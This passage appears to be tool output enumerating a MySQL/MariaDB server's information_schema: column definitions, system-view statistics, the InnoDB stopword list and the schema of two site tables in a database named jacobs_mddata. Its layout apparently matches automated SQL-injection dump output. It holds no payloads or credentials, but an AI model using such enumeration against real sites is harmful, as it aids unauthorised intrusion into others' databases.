MODIFIED_DATABASE_PAGES | information_schema | select | def | 0 | | NULL | 0 | 6 | 20 | NULL | NULL | | NULL | NULL | | | bigint | INNODB_BUFFER_POOL_STATS | | bigint(21) unsigned | NO | PENDING_DECOMPRESS | information_schema | select | def | 0 | | NULL | 0 | 7 | 20 | NULL | NULL | | NULL | NULL | | | bigint | INNODB_BUFFER_POOL_STATS | | bigint(21) unsigned | NO | PENDING_READS | information_schema | select | def | 0 | | NULL | 0 | 8 | 20 | NULL | NULL | | NULL | NULL | | | bigint | INNODB_BUFFER_POOL_STATS | | bigint(21) unsigned | NO | PENDING_FLUSH_LRU | information_schema | select | def | 0 | | NULL | 0 | 9 | 20 | NULL | NULL | | NULL | NULL | | | bigint | INNODB_BUFFER_POOL_STATS | | bigint(21) unsigned | NO | PENDING_FLUSH_LIST | information_schema | select | def | 0 | | NULL | 0 | 10 | 20 | NULL | NULL | | NULL | NULL | | | bigint | INNODB_BUFFER_POOL_STATS | | bigint(21) unsigned | NO | PAGES_MADE_YOUNG | information_schema | select | def | 0 | | NULL | 0 | 11 | 20 | NULL | NULL | | NULL | NULL | | | bigint | INNODB_BUFFER_POOL_STATS | | bigint(21) unsigned | NO | PAGES_NOT_MADE_YOUNG | information_schema | select | def | 0 | | NULL | 0 | 12 | 20 | NULL | NULL | | NULL | NULL | | | double | INNODB_BUFFER_POOL_STATS | | double | NO | PAGES_MADE_YOUNG_RATE | information_schema | select | def | NULL | | NULL | 0 | 13 | 12 | NULL | NULL | | NULL | NULL | | | double | INNODB_BUFFER_POOL_STATS | | double | NO | PAGES_MADE_NOT_YOUNG_RATE | information_schema | select | def | NULL | | NULL | 0 | 14 | 12 | NULL | NULL | | NULL | NULL | | | bigint | INNODB_BUFFER_POOL_STATS | | bigint(21) unsigned | NO | NUMBER_PAGES_READ | information_schema | select | def | 0 | | NULL | 0 | 15 | 20 | NULL | NULL | | NULL | NULL | | | bigint | INNODB_BUFFER_POOL_STATS | | bigint(21) unsigned | NO | NUMBER_PAGES_CREATED | information_schema | select | def | 0 | | NULL | 0 | 16 | 20 | NULL | NULL | | NULL | NULL | | | bigint | INNODB_BUFFER_POOL_STATS | | bigint(21) unsigned | NO | NUMBER_PAGES_WRITTEN | information_schema | select | def | 0 | | NULL | 0 | 17 | 20 | NULL | NULL | | NULL | NULL | | | double | INNODB_BUFFER_POOL_STATS | | double | NO | PAGES_READ_RATE | information_schema | select | def | NULL | | NULL | 0 | 18 | 12 | NULL | NULL | | NULL | NULL | | | double | INNODB_BUFFER_POOL_STATS | | double | NO | PAGES_CREATE_RATE | information_schema | select | def | NULL | | NULL | 0 | 19 | 12 | NULL | NULL | | NULL | NULL | | | double | INNODB_BUFFER_POOL_STATS | | double | NO | PAGES_WRITTEN_RATE | information_schema | select | def | NULL | | NULL | 0 | 20 | 12 | NULL | NULL | | NULL | NULL | | | bigint | INNODB_BUFFER_POOL_STATS | | bigint(21) unsigned | NO | NUMBER_PAGES_GET | information_schema | select | def | 0 | | NULL | 0 | 21 | 20 | NULL | NULL | | NULL | NULL | | | bigint | INNODB_BUFFER_POOL_STATS | | bigint(21) unsigned | NO | HIT_RATE | information_schema | select | def | 0 | | NULL | 0 | 22 | 20 | NULL | NULL | | NULL | NULL | | | bigint | INNODB_BUFFER_POOL_STATS | | bigint(21) unsigned | NO | YOUNG_MAKE_PER_THOUSAND_GETS | information_schema | select | def | 0 | | NULL | 0 | 23 | 20 | NULL | NULL | | NULL | NULL | | | bigint | INNODB_BUFFER_POOL_STATS | | bigint(21) unsigned | NO | NOT_YOUNG_MAKE_PER_THOUSAND_GETS | information_schema | select | def | 0 | | NULL | 0 | 24 | 20 | NULL | NULL | | NULL | NULL | | | bigint | INNODB_BUFFER_POOL_STATS | | bigint(21) unsigned | NO | NUMBER_PAGES_READ_AHEAD | information_schema | select | def | 0 | | NULL | 0 | 25 | 20 | NULL | NULL | | NULL | NULL | | | bigint | INNODB_BUFFER_POOL_STATS | | bigint(21) unsigned | NO | NUMBER_READ_AHEAD_EVICTED | information_schema | select | def | 0 | | NULL | 0 | 26 | 20 | NULL | NULL | | NULL | NULL | | | double | INNODB_BUFFER_POOL_STATS | | double | NO | READ_AHEAD_RATE | information_schema | select | def | NULL | | NULL | 0 | 27 | 12 | NULL | NULL | | NULL | NULL | | | double | INNODB_BUFFER_POOL_STATS | | double | NO | READ_AHEAD_EVICTED_RATE | information_schema | select | def | NULL | | NULL | 0 | 28 | 12 | NULL | NULL | | NULL | NULL | | | bigint | INNODB_BUFFER_POOL_STATS | | bigint(21) unsigned | NO | LRU_IO_TOTAL | information_schema | select | def | 0 | | NULL | 0 | 29 | 20 | NULL | NULL | | NULL | NULL | | | bigint | INNODB_BUFFER_POOL_STATS | | bigint(21) unsigned | NO | LRU_IO_CURRENT | information_schema | select | def | 0 | | NULL | 0 | 30 | 20 | NULL | NULL | | NULL | NULL | | | bigint | INNODB_BUFFER_POOL_STATS | | bigint(21) unsigned | NO | UNCOMPRESS_TOTAL | information_schema | select | def | 0 | | NULL | 0 | 31 | 20 | NULL | NULL | | NULL | NULL | | | bigint | INNODB_BUFFER_POOL_STATS | | bigint(21) unsigned | NO | UNCOMPRESS_CURRENT | information_schema | select | def | 0 | | NULL | 0 | 32 | 20 | NULL | NULL | | NULL | NULL | | | bigint | INNODB_SYS_COLUMNS | | bigint(21) unsigned | NO | TABLE_ID | information_schema | select | def | 0 | | NULL | 0 | 1 | 20 | NULL | NULL | | NULL | NULL | | | varchar | INNODB_SYS_COLUMNS | | varchar(193) | NO | NAME | information_schema | select | def | NULL | | utf8_general_ci | | 2 | NULL | utf8 | NULL | | 579 | 193 | | | bigint | INNODB_SYS_COLUMNS | | bigint(21) unsigned | NO | POS | information_schema | select | def | 0 | | NULL | 0 | 3 | 20 | NULL | NULL | | NULL | NULL | | | int | INNODB_SYS_COLUMNS | | int(11) | NO | MTYPE | information_schema | select | def | 0 | | NULL | 0 | 4 | 10 | NULL | NULL | | NULL | NULL | | | int | INNODB_SYS_COLUMNS | | int(11) | NO | PRTYPE | information_schema | select | def | 0 | | NULL | 0 | 5 | 10 | NULL | NULL | | NULL | NULL | | | int | INNODB_SYS_COLUMNS | | int(11) | NO | LEN | information_schema | select | def | 0 | | NULL | 0 | 6 | 10 | NULL | NULL | | NULL | NULL | | | varchar | INNODB_SYS_FOREIGN | | varchar(193) | NO | ID | information_schema | select | def | NULL | | utf8_general_ci | | 1 | NULL | utf8 | NULL | | 579 | 193 | | | varchar | INNODB_SYS_FOREIGN | | varchar(193) | NO | FOR_NAME | information_schema | select | def | NULL | | utf8_general_ci | | 2 | NULL | utf8 | NULL | | 579 | 193 | | | varchar | INNODB_SYS_FOREIGN | | varchar(193) | NO | REF_NAME | information_schema | select | def | NULL | | utf8_general_ci | | 3 | NULL | utf8 | NULL | | 579 | 193 | | | int | INNODB_SYS_FOREIGN | | int(11) unsigned | NO | N_COLS | information_schema | select | def | 0 | | NULL | 0 | 4 | 10 | NULL | NULL | | NULL | NULL | | | int | INNODB_SYS_FOREIGN | | int(11) unsigned | NO | TYPE | information_schema | select | def | 0 | | NULL | 0 | 5 | 10 | NULL | NULL | | NULL | NULL | | | bigint | INNODB_SYS_TABLESTATS | | bigint(21) unsigned | NO | TABLE_ID | information_schema | select | def | 0 | | NULL | 0 | 1 | 20 | NULL | NULL | | NULL | NULL | | | varchar | INNODB_SYS_TABLESTATS | | varchar(193) | NO | NAME | information_schema | select | def | NULL | | utf8_general_ci | | 2 | NULL | utf8 | NULL | | 579 | 193 | | | varchar | INNODB_SYS_TABLESTATS | | varchar(193) | NO | STATS_INITIALIZED | information_schema | select | def | NULL | | utf8_general_ci | | 3 | NULL | utf8 | NULL | | 579 | 193 | | | bigint | INNODB_SYS_TABLESTATS | | bigint(21) unsigned | NO | NUM_ROWS | information_schema | select | def | 0 | | NULL | 0 | 4 | 20 | NULL | NULL | | NULL | NULL | | | bigint | INNODB_SYS_TABLESTATS | | bigint(21) unsigned | NO | CLUST_INDEX_SIZE | information_schema | select | def | 0 | | NULL | 0 | 5 | 20 | NULL | NULL | | NULL | NULL | | | bigint | INNODB_SYS_TABLESTATS | | bigint(21) unsigned | NO | OTHER_INDEX_SIZE | information_schema | select | def | 0 | | NULL | 0 | 6 | 20 | NULL | NULL | | NULL | NULL | | | bigint | INNODB_SYS_TABLESTATS | | bigint(21) unsigned | NO | MODIFIED_COUNTER | information_schema | select | def | 0 | | NULL | 0 | 7 | 20 | NULL | NULL | | NULL | NULL | | | bigint | INNODB_SYS_TABLESTATS | | bigint(21) unsigned | NO | AUTOINC | information_schema | select | def | 0 | | NULL | 0 | 8 | 20 | NULL | NULL | | NULL | NULL | | | int | INNODB_SYS_TABLESTATS | | int(11) | NO | REF_COUNT | information_schema | select | def | 0 | | NULL | 0 | 9 | 10 | NULL | NULL | | NULL | NULL | | | varchar | modern_cat | | varchar(100) | NO | name | jacobs_mddata | select,insert,update,references | def | NULL | | utf8_unicode_ci | | 2 | NULL | utf8 | NULL | | 300 | 100 | | | varchar | modern_cat | | varchar(100) | NO | open | jacobs_mddata | select,insert,update,references | def | NULL | | utf8_unicode_ci | | 3 | NULL | utf8 | NULL | | 300 | 100 | | | varchar | modern_cat | | varchar(5) | NO | anker | jacobs_mddata | select,insert,update,references | def | NULL | | utf8_unicode_ci | NULL | 4 | NULL | utf8 | NULL | | 15 | 5 | | | int | modern_navi | | int(5) | NO | position | jacobs_mddata | select,insert,update,references | def | 0 | | NULL | 0 | 2 | 10 | NULL | NULL | | NULL | NULL | | | int | modern_navi | | int(5) | NO | sub_position | jacobs_mddata | select,insert,update,references | def | 0 | | NULL | 0 | 3 | 10 | NULL | NULL | | NULL | NULL | | | varchar | modern_navi | | varchar(250) | NO | name | jacobs_mddata | select,insert,update,references | def | NULL | | utf8_unicode_ci | | 4 | NULL | utf8 | NULL | | 750 | 250 | | | mediumtext | modern_navi | | mediumtext | NO | pfad | jacobs_mddata | select,insert,update,references | def | NULL | | utf8_unicode_ci | NULL | 5 | NULL | utf8 | NULL | | 16777215 | 16777215 | | | int | modern_navi | | int(100) | NO | anker | jacobs_mddata | select,insert,update,references | def | 0 | | NULL | NULL | 7 | 10 | NULL | NULL | | NULL | NULL | | | varchar | modern_navi | | varchar(100) | NO | aktiv | jacobs_mddata | select,insert,update,references | def | NULL | | utf8_unicode_ci | | 8 | NULL | utf8 | NULL | | 300 | 100 | | | varchar | modern_navi | | varchar(100) | NO | typ | jacobs_mddata | select,insert,update,references | def | NULL | | utf8_unicode_ci | | 9 | NULL | utf8 | NULL | | 300 | 100 | | | varchar | modern_navi | | varchar(100) | NO | dispatch | jacobs_mddata | select,insert,update,references | def | NULL | | utf8_unicode_ci | | 10 | NULL | utf8 | NULL | | 300 | 100 | | | varchar | modern_navi | | varchar(100) | NO | pic | jacobs_mddata | select,insert,update,references | def | NULL | | utf8_unicode_ci | | 11 | NULL | utf8 | NULL | | 300 | 100 | | | varchar | modern_navi | | varchar(100) | NO | pic2 | jacobs_mddata | select,insert,update,references | def | NULL | | utf8_unicode_ci | | 12 | NULL | utf8 | NULL | | 300 | 100 | | | varchar | modern_navi | | varchar(100) | NO | cat | jacobs_mddata | select,insert,update,references | def | NULL | | utf8_unicode_ci | | 13 | NULL | utf8 | NULL | | 300 | 100 | | | varchar | modern_navi | | varchar(100) | NO | jahr | jacobs_mddata | select,insert,update,references | def | NULL | | utf8_unicode_ci | | 14 | NULL | utf8 | NULL | | 300 | 100 | | | mediumtext | modern_navi | | mediumtext | NO | infos | jacobs_mddata | select,insert,update,references | def | NULL | | utf8_unicode_ci | NULL | 15 | NULL | utf8 | NULL | | 16777215 | 16777215 | | | varchar | modern_navi | | varchar(100) | NO | open | jacobs_mddata | select,insert,update,references | def | NULL | | utf8_unicode_ci | | 16 | NULL | utf8 | NULL | | 300 | 100 | | auto_increment | int | modern_cat | PRI | int(5) | NO | id | jacobs_mddata | select,insert,update,references | def | 0 | | NULL | NULL | 1 | 10 | NULL | NULL | | NULL | NULL | | auto_increment | int | modern_navi | PRI | int(5) | NO | id | jacobs_mddata | select,insert,update,references | def | 0 | | NULL | NULL | 1 | 10 | NULL | NULL | | NULL | NULL | | on update CURRENT_TIMESTAMP | timestamp | modern_navi | | timestamp | NO | datum | jacobs_mddata | select,insert,update,references | def | NULL | | NULL | CURRENT_TIMESTAMP | 6 | NULL | NULL | 0 | | NULL | NULL | +-----------------------------+------------+---------------------------------------+------------+---------------------+-------------+-----------------------------------+--------------------+---------------------------------+---------------+---------------+----------------+-----------------+---------------------+------------------+-------------------+--------------------+--------------------+-----------------------+------------------------+--------------------------+ Database: information_schema Table: TABLES [63 entries] +--------+---------------------+-----------+-----------+---------------+------------+-----------------+------------+---------------------+-------------+-------------+-------------+-----------------+--------------+---------------------------------------+---------------+----------------+------------------+---------------------+--------------------+-----------------+ | ENGINE | CHECKSUM | VERSION | DATA_FREE | TABLE_ROWS | TABLE_NAME | ROW_FORMAT | CHECK_TIME | TABLE_TYPE | UPDATE_TIME | CREATE_TIME | DATA_LENGTH | INDEX_LENGTH | TABLE_SCHEMA | TABLE_CATALOG | TABLE_COMMENT | AUTO_INCREMENT | AVG_ROW_LENGTH | CREATE_OPTIONS | TABLE_COLLATION | MAX_DATA_LENGTH | +--------+---------------------+-----------+-----------+---------------+------------+-----------------+------------+---------------------+-------------+-------------+-------------+-----------------+--------------+---------------------------------------+---------------+----------------+------------------+---------------------+--------------------+-----------------+ | Fixed | 2021-06-30 04:04:32 | | 0 | | 10 | | 0 | | | MEMORY | 16434816 | def | | CHARACTER_SETS | SYSTEM VIEW | 384 | max_rows=43690 | 0 | information_schema | utf8_general_ci | | Fixed | 2021-06-30 04:04:32 | | 0 | | 10 | | 0 | | | MEMORY | 16704765 | def | | COLLATIONS | SYSTEM VIEW | 231 | max_rows=72628 | 0 | information_schema | utf8_general_ci | | Fixed | 2021-06-30 04:04:32 | | 0 | | 10 | | 0 | | | MEMORY | 16357770 | def | | COLLATION_CHARACTER_SET_APPLICABILITY | SYSTEM VIEW | 195 | max_rows=86037 | 0 | information_schema | utf8_general_ci | | def | 75497472 | | 0 | | | COLUMNS | 16384 | | | 0 | Dynamic | utf8_general_ci | | information_schema | 10 | 0 | max_rows=2789 | InnoDB | SYSTEM VIEW | | | Fixed | 2021-06-30 04:04:32 | | 0 | | 10 | | 0 | | | MEMORY | 16757145 | def | | COLUMN_PRIVILEGES | SYSTEM VIEW | 2565 | max_rows=6540 | 0 | information_schema | utf8_general_ci | | Fixed | 2021-06-30 04:04:32 | | 0 | | 10 | | 0 | | | MEMORY | 16574250 | def | | ENGINES | SYSTEM VIEW | 490 | max_rows=34239 | 0 | information_schema | utf8_general_ci | | def | 75497472 | | 0 | | | EVENTS | 16384 | | | 0 | Dynamic | utf8_general_ci | | information_schema | 10 | 0 | max_rows=618 | InnoDB | SYSTEM VIEW | | | Fixed | 2021-06-30 04:04:32 | | 0 | | 10 | | 0 | | | MEMORY | 16768412 | def | | FILES | SYSTEM VIEW | 14468 | max_rows=1159 | 0 | information_schema | utf8_general_ci | | Fixed | 2021-06-30 04:04:32 | | 0 | | 10 | | 0 | | | MEMORY | 16755036 | def | | GLOBAL_STATUS | SYSTEM VIEW | 3268 | max_rows=5133 | 0 | information_schema | utf8_general_ci | | Fixed | 2021-06-30 04:04:32 | | 0 | | 10 | | 0 | | | MEMORY | 16755036 | def | | GLOBAL_VARIABLES | SYSTEM VIEW | 3268 | max_rows=5133 | 0 | information_schema | utf8_general_ci | | Fixed | 2021-06-30 04:04:32 | | 0 | | 10 | | 0 | | | MEMORY | 16762755 | def | | KEY_COLUMN_USAGE | SYSTEM VIEW | 4637 | max_rows=3618 | 0 | information_schema | utf8_general_ci | | def | 75497472 | | 0 | | | OPTIMIZER_TRACE | 16384 | | | 0 | Dynamic | utf8_general_ci | | information_schema | 10 | 0 | max_rows=578524 | InnoDB | SYSTEM VIEW | | | def | 75497472 | | 0 | | | PARAMETERS | 16384 | | | 0 | Dynamic | utf8_general_ci | | information_schema | 10 | 0 | max_rows=6021 | InnoDB | SYSTEM VIEW | | | def | 75497472 | | 0 | | | PARTITIONS | 16384 | | | 0 | Dynamic | utf8_general_ci | | information_schema | 10 | 0 | max_rows=5596 | InnoDB | SYSTEM VIEW | | | def | 75497472 | | 0 | | | PLUGINS | 16384 | | | 0 | Dynamic | utf8_general_ci | | information_schema | 10 | 0 | max_rows=11328 | InnoDB | SYSTEM VIEW | | | def | 75497472 | | 0 | | | PROCESSLIST | 16384 | | | 0 | Dynamic | utf8_general_ci | | information_schema | 10 | 0 | max_rows=22369 | InnoDB | SYSTEM VIEW | | | Fixed | 2021-06-30 04:04:32 | | 0 | | 10 | | 0 | | | MEMORY | 16562084 | def | | PROFILING | SYSTEM VIEW | 308 | max_rows=54471 | 0 | information_schema | utf8_general_ci | | Fixed | 2021-06-30 04:04:32 | | 0 | | 10 | | 0 | | | MEMORY | 16767162 | def | | REFERENTIAL_CONSTRAINTS | SYSTEM VIEW | 4814 | max_rows=3485 | 0 | information_schema | utf8_general_ci | | def | 75497472 | | 0 | | | ROUTINES | 16384 | | | 0 | Dynamic | utf8_general_ci | | information_schema | 10 | 0 | max_rows=582 | InnoDB | SYSTEM VIEW | | | Fixed | 2021-06-30 04:04:32 | | 0 | | 10 | | 0 | | | MEMORY | 16738048 | def | | SCHEMATA | SYSTEM VIEW | 3464 | max_rows=4843 | 0 | information_schema | utf8_general_ci | | Fixed | 2021-06-30 04:04:32 | | 0 | | 10 | | 0 | | | MEMORY | 16736899 | def | | SCHEMA_PRIVILEGES | SYSTEM VIEW | 2179 | max_rows=7699 | 0 | information_schema | utf8_general_ci | | Fixed | 2021-06-30 04:04:32 | | 0 | | 10 | | 0 | | | MEMORY | 16755036 | def | | SESSION_STATUS | SYSTEM VIEW | 3268 | max_rows=5133 | 0 | information_schema | utf8_general_ci | | Fixed | 2021-06-30 04:04:32 | | 0 | | 10 | | 0 | | | MEMORY | 16755036 | def | | SESSION_VARIABLES | SYSTEM VIEW | 3268 | max_rows=5133 | 0 | information_schema | utf8_general_ci | | Fixed | 2021-06-30 04:04:32 | | 0 | | 10 | | 0 | | | MEMORY | 16752736 | def | | STATISTICS | SYSTEM VIEW | 5753 | max_rows=2916 | 0 | information_schema | utf8_general_ci | | Fixed | 2021-06-30 04:04:32 | | 0 | | 10 | | 0 | | | MEMORY | 16757775 | def | | TABLES | SYSTEM VIEW | 9441 | max_rows=1777 | 0 | information_schema | utf8_general_ci | | Fixed | 2021-06-30 04:04:32 | | 0 | | 10 | | 0 | | | MEMORY | 16772763 | def | | TABLESPACES | SYSTEM VIEW | 6951 | max_rows=2413 | 0 | information_schema | utf8_general_ci | | Fixed | 2021-06-30 04:04:32 | | 0 | | 10 | | 0 | | | MEMORY | 16721712 | def | | TABLE_CONSTRAINTS | SYSTEM VIEW | 2504 | max_rows=6700 | 0 | information_schema | utf8_general_ci | | Fixed | 2021-06-30 04:04:32 | | 0 | | 10 | | 0 | | | MEMORY | 16748692 | def | | TABLE_PRIVILEGES | SYSTEM VIEW | 2372 | max_rows=7073 | 0 | information_schema | utf8_general_ci | | def | 75497472 | | 0 | | | TRIGGERS | 16384 | | | 0 | Dynamic | utf8_general_ci | | information_schema | 10 | 0 | max_rows=568 | InnoDB | SYSTEM VIEW | | | Fixed | 2021-06-30 04:04:32 | | 0 | | 10 | | 0 | | | MEMORY | 16726092 | def | | USER_PRIVILEGES | SYSTEM VIEW | 1986 | max_rows=8447 | 0 | information_schema | utf8_general_ci | | def | 75497472 | | 0 | | | VIEWS | 16384 | | | 0 | Dynamic | utf8_general_ci | | information_schema | 10 | 0 | max_rows=6797 | InnoDB | SYSTEM VIEW | | | Fixed | 2021-06-30 04:04:32 | | 0 | | 10 | | 0 | | | MEMORY | 16746784 | def | | INNODB_LOCKS | SYSTEM VIEW | 31244 | max_rows=536 | 0 | information_schema | utf8_general_ci | | Fixed | 2021-06-30 04:04:32 | | 0 | | 10 | | 0 | | | MEMORY | 16746912 | def | | INNODB_TRX | SYSTEM VIEW | 4536 | max_rows=3698 | 0 | information_schema | utf8_general_ci | | Fixed | 2021-06-30 04:04:32 | | 0 | | 10 | | 0 | | | MEMORY | 16773779 | def | | INNODB_SYS_DATAFILES | SYSTEM VIEW | 12007 | max_rows=1397 | 0 | information_schema | utf8_general_ci | | Fixed | 2021-06-30 04:04:32 | | 0 | | 10 | | 0 | | | MEMORY | 16705332 | def | | INNODB_FT_CONFIG | SYSTEM VIEW | 1163 | max_rows=14425 | 0 | information_schema | utf8_general_ci | | Fixed | 2021-06-30 04:04:32 | | 0 | | 10 | | 0 | | | MEMORY | 11883850 | def | | INNODB_SYS_VIRTUAL | SYSTEM VIEW | 17 | max_rows=986895 | 0 | information_schema | utf8_general_ci | | Fixed | 2021-06-30 04:04:32 | | 0 | | 10 | | 0 | | | MEMORY | 13107200 | def | | INNODB_CMP | SYSTEM VIEW | 25 | max_rows=671088 | 0 | information_schema | utf8_general_ci | | Fixed | 2021-06-30 04:04:32 | | 0 | | 10 | | 0 | | | MEMORY | 9437184 | def | | INNODB_FT_BEING_DELETED | SYSTEM VIEW | 9 | max_rows=1864135 | 0 | information_schema | utf8_general_ci | | Fixed | 2021-06-30 04:04:32 | | 0 | | 10 | | 0 | | | MEMORY | 13107200 | def | | INNODB_CMP_RESET | SYSTEM VIEW | 25 | max_rows=671088 | 0 | information_schema | utf8_general_ci | | Fixed | 2021-06-30 04:04:32 | | 0 | | 10 | | 0 | | | MEMORY | 16728660 | def | | INNODB_CMP_PER_INDEX | SYSTEM VIEW | 1755 | max_rows=9559 | 0 | information_schema | utf8_general_ci | | Fixed | 2021-06-30 04:04:32 | | 0 | | 10 | | 0 | | | MEMORY | 15204352 | def | | INNODB_CMPMEM_RESET | SYSTEM VIEW | 29 | max_rows=578524 | 0 | information_schema | utf8_general_ci | | Fixed | 2021-06-30 04:04:32 | | 0 | | 10 | | 0 | | | MEMORY | 9437184 | def | | INNODB_FT_DELETED | SYSTEM VIEW | 9 | max_rows=1864135 | 0 | information_schema | utf8_general_ci | | Fixed | 2021-06-30 04:04:32 | | 0 | | 10 | | 0 | | | MEMORY | 16765866 | def | | INNODB_BUFFER_PAGE_LRU | SYSTEM VIEW | 6669 | max_rows=2515 | 0 | information_schema | utf8_general_ci | | Fixed | 2021-06-30 04:04:32 | | 0 | | 10 | | 0 | | | MEMORY | 16749238 | def | | INNODB_LOCK_WAITS | SYSTEM VIEW | 599 | max_rows=28008 | 0 | information_schema | utf8_general_ci | | Fixed | 2021-06-30 04:04:32 | | 0 | | 10 | | 0 | | | MEMORY | 16694643 | def | | INNODB_TEMP_TABLE_INFO | SYSTEM VIEW | 1011 | max_rows=16594 | 0 | information_schema | utf8_general_ci | | Fixed | 2021-06-30 04:04:32 | | 0 | | 10 | | 0 | | | MEMORY | 16615548 | def | | INNODB_SYS_INDEXES | SYSTEM VIEW | 618 | max_rows=27147 | 0 | information_schema | utf8_general_ci | | Fixed | 2021-06-30 04:04:32 | | 0 | | 10 | | 0 | | | MEMORY | 16736364 | def | | INNODB_SYS_TABLES | SYSTEM VIEW | 2091 | max_rows=8023 | 0 | information_schema | utf8_general_ci | | Fixed | 2021-06-30 04:04:32 | | 0 | | 10 | | 0 | | | MEMORY | 16609428 | def | | INNODB_SYS_FIELDS | SYSTEM VIEW | 594 | max_rows=28244 | 0 | information_schema | utf8_general_ci | | Fixed | 2021-06-30 04:04:32 | | 0 | | 10 | | 0 | | | MEMORY | 16728660 | def | | INNODB_CMP_PER_INDEX_RESET | SYSTEM VIEW | 1755 | max_rows=9559 | 0 | information_schema | utf8_general_ci | | Fixed | 2021-06-30 04:04:32 | | 0 | | 10 | | 0 | | | MEMORY | 16766844 | def | | INNODB_BUFFER_PAGE | SYSTEM VIEW | 6852 | max_rows=2448 | 0 | information_schema | utf8_general_ci | | Fixed | 2021-06-30 04:04:32 | | 0 | | 10 | | 0 | | | MEMORY | 14680064 | def | | INNODB_FT_DEFAULT_STOPWORD | SYSTEM VIEW | 56 | max_rows=299593 | 0 | information_schema | utf8_general_ci | | Fixed | 2021-06-30 04:04:32 | | 0 | | 10 | | 0 | | | MEMORY | 16744898 | def | | INNODB_FT_INDEX_TABLE | SYSTEM VIEW | 1054 | max_rows=15917 | 0 | information_schema | utf8_general_ci | | Fixed | 2021-06-30 04:04:32 | | 0 | | 10 | | 0 | | | MEMORY | 16744898 | def | | INNODB_FT_INDEX_CACHE | SYSTEM VIEW | 1054 | max_rows=15917 | 0 | information_schema | utf8_general_ci | | Fixed | 2021-06-30 04:04:32 | | 0 | | 10 | | 0 | | | MEMORY | 16752582 | def | | INNODB_SYS_TABLESPACES | SYSTEM VIEW | 2133 | max_rows=7865 | 0 | information_schema | utf8_general_ci | | Fixed | 2021-06-30 04:04:32 | | 0 | | 10 | | 0 | | | MEMORY | 16742448 | def | | INNODB_METRICS | SYSTEM VIEW | 2994 | max_rows=5603 | 0 | information_schema | utf8_general_ci | | Fixed | 2021-06-30 04:04:32 | | 0 | | 10 | | 0 | | | MEMORY | 16738848 | def | | INNODB_SYS_FOREIGN_COLS | SYSTEM VIEW | 1748 | max_rows=9597 | 0 | information_schema | utf8_general_ci | | Fixed | 2021-06-30 04:04:32 | | 0 | | 10 | | 0 | | | MEMORY | 15204352 | def | | INNODB_CMPMEM | SYSTEM VIEW | 29 | max_rows=578524 | 0 | information_schema | utf8_general_ci | | Fixed | 2021-06-30 04:04:32 | | 0 | | 10 | | 0 | | | MEMORY | 16332350 | def | | INNODB_BUFFER_POOL_STATS | SYSTEM VIEW | 257 | max_rows=65280 | 0 | information_schema | utf8_general_ci | | Fixed | 2021-06-30 04:04:32 | | 0 | | 10 | | 0 | | | MEMORY | 16613350 | def | | INNODB_SYS_COLUMNS | SYSTEM VIEW | 610 | max_rows=27503 | 0 | information_schema | utf8_general_ci | | Fixed | 2021-06-30 04:04:32 | | 0 | | 10 | | 0 | | | MEMORY | 16700064 | def | | INNODB_SYS_FOREIGN | SYSTEM VIEW | 1752 | max_rows=9576 | 0 | information_schema | utf8_general_ci | | Fixed | 2021-06-30 04:04:32 | | 0 | | 10 | | 0 | | | MEMORY | 16763355 | def | | INNODB_SYS_TABLESTATS | SYSTEM VIEW | 1215 | max_rows=13808 | 0 | information_schema | utf8_general_ci | | 2048 | 2020-07-25 00:02:36 | | 256 | jacobs_mddata | 10 | def | | 2020-07-25 00:02:36 | 10 | 0 | MyISAM | 281474976710655 | BASE TABLE | utf8_unicode_ci | modern_cat | 14 | 25 | 2017-04-11 15:14:39 | | Dynamic | | 8192 | 2020-07-25 00:02:36 | | 393088 | jacobs_mddata | 542 | def | | 2020-07-25 00:02:36 | 10 | 0 | MyISAM | 281474976710655 | BASE TABLE | utf8_unicode_ci | modern_navi | 795 | 725 | 2017-04-11 15:14:39 | | Dynamic | +--------+---------------------+-----------+-----------+---------------+------------+-----------------+------------+---------------------+-------------+-------------+-------------+-----------------+--------------+---------------------------------------+---------------+----------------+------------------+---------------------+--------------------+-----------------+ Database: information_schema Table: INNODB_FT_DEFAULT_STOPWORD [36 entries] +---------+ | value | +---------+ | a | | about | | an | | are | | as | | at | | be | | by | | com | | de | | en | | for | | from | | how | | i | | in | | is | | it | | la | | of | | on | | or | | that | | the | | this | | to | | was | | what | | when | | where | | who | | will | | with | | und | | the | | www | +---------+ Database: information_schema Table: KEY_COLUMN_USAGE [2 entries] +------------+-------------+--------------+---------------+-----------------+------------------+-------------------+--------------------+-----------------------+------------------------+-------------------------+-------------------------------+ | TABLE_NAME | COLUMN_NAME | TABLE_SCHEMA | TABLE_CATALOG | CONSTRAINT_NAME | ORDINAL_POSITION | CONSTRAINT_SCHEMA | CONSTRAINT_CATALOG | REFERENCED_TABLE_NAME | REFERENCED_COLUMN_NAME | REFERENCED_TABLE_SCHEMA | POSITION_IN_UNIQUE_CONSTRAINT | +------------+-------------+--------------+---------------+-----------------+------------------+-------------------+--------------------+-----------------------+------------------------+-------------------------+-------------------------------+ | | id | | | PRIMARY | 1 | jacobs_mddata | def | jacobs_mddata | modern_cat | | def | | | id | | | PRIMARY | 1 | jacobs_mddata | def | jacobs_mddata | modern_navi | | def | +------------+-------------+--------------+---------------+-----------------+------------------+-------------------+--------------------+-----------------------+------------------------+-------------------------+-------------------------------+